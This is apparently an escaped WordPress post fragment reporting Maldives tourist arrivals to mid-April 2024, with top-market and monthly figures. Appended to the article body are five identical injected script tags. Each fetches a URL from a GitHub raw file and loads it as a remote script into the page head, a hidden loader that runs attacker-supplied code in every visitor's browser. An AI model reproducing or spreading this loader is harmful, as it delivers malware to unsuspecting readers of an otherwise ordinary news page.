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On the other hand, Italy and Germany retains their fourth and fifth ranks, respectively.<\/p>\n<h2>Top 10 Markets<\/h2>\n<ol>\n<li>China &#8211; 73,848<\/li>\n<li>UK &#8211; 69,031<\/li>\n<li>Russia &#8211; 68,342<\/li>\n<li>Italy &#8211; 63,020<\/li>\n<li>Germany &#8211; 54,311<\/li>\n<li>India &#8211; 38,578<\/li>\n<li>France &#8211; 26,165<\/li>\n<li>USA &#8211; 23,853<\/li>\n<li>Switzerland &#8211; 17,189<\/li>\n<li>Poland &#8211; 14,789<\/li>\n<\/ol>\n<p>Total arrivals to the Maldives as of April 14, 2024 reached 688,611 which is 14.6% above the arrival figure for the same period last year, during which it stood at 601,099.<\/p>\n<h2>Tourist Arrivals &#8211; Monthly<\/h2>\n<ul>\n<li>January &#8211; 192,385 (+11.5%)<\/li>\n<li>February &#8211; 217,392 (+22.2%)<\/li>\n<li>March &#8211; 194,227 (+11.9%)<\/li>\n<li>April (1st-14th) &#8211; 84,607 (+9.6%)<\/li>\n<\/ul>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The arrivals to the Maldives is currently 11,389 short of hitting 700,000, reported the Ministry of Tourism. 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